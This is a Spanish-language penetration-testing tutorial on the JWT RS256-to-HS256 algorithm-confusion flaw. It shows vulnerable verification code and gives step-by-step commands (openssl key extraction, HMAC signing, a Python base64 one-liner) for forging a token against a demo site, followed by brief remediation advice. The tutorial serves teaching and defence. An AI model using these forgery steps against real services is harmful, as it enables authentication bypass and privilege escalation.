¡Solo para fines educativos! Destinado a probadores de penetración de
hackers .
Problema
El algoritmo HS256 usa la clave secreta para firmar y verificar cada mensaje. El algoritmo RS256 usa la clave privada para firmar el mensaje y usa la clave pública para la autenticación.
Si cambia el algoritmo de RS256 a HS256, el código de back-end usa la clave pública como clave secreta y luego usa el algoritmo HS256 para verificar la firma. Algoritmo de cifrado asimétrico => Algoritmo de cifrado simétrico.
Debido a que el atacante puede obtener la clave pública, el atacante puede modificar el algoritmo en el encabezado a HS256 y luego usar la clave pública RSA para firmar los datos.
El código de back-end utiliza la clave pública RSA + algoritmo HS256 para la verificación de firma.
Ejemplo
La vulnerabilidad aparece cuando la validación del lado del cliente tiene este aspecto:
const decoded = jwt.verify( token, publickRSAKey, { algorithms: ['HS256' , 'RS256'] } //accepted both algorithms )
Supongamos que tenemos un token inicial como se presenta a continuación y "=>" explicará la modificación que el atacante puede hacer:
//header { alg: 'RS256' => 'HS256' } //payload { sub: '123', name: 'Oleh Khomiak', admin: 'false' => 'true' }
El código de back-end usa la clave pública como clave secreta y luego usa el algoritmo HS256 para verificar la firma.
Atacar
1. Capture el tráfico y el token JWT válido (ejemplo de grupo NCC)
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg
2. Decodificar el token con Burp Decoder
La estructura es header.payload.signature con cada componente codificado en base64 usando el esquema seguro de URL y cualquier relleno eliminado.
{"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}}
3. Modifique el encabezado
alg a HS256
{"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}}
4. Convertir de nuevo al formato JWT
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0
Encabezado y carga útil listos para usar :)
5. Copie el certificado del servidor y extraiga la clave pública
Todo lo que falta es la firma, y para calcular que necesitamos la clave pública que está usando el servidor. Podría ser que esto esté disponible gratuitamente.
openssl s_client -connect <hostname>:443
Copie la salida del "Certificado del servidor" en un archivo (por ejemplo, cert.pem) y extraiga la clave pública (en un archivo llamado key.pem) ejecutando:
openssl x509 -in cert.pem -pubkey –noout > key.pem
Vamos a convertirlo en hexadecimal ASCII:
cat key.pem | xxd -p | tr -d "\\n"
Al proporcionar la clave pública como hexadecimal ASCII a nuestra operación de firma, podemos ver y controlar completamente los bytes
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:
El resultado, es decir, la firma HMAC, es:
db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f
Una línea para convertir esta firma hexadecimal ASCII en el formato JWT es:
python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"
El resultado es nuestra firma:
2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
Simplemente agréguelo a nuestro token modificado:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
6. Envíe el token alterado al servidor.
Resolución
1. Use solo un algoritmo de cifrado (si es posible)

2. Crear diferentes funciones para verificar diferentes algoritmos

Referencias
1.
medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e62.www.youtube.com/watch?v=rCkDE2me_qk (24:53)
3.auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries4.www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through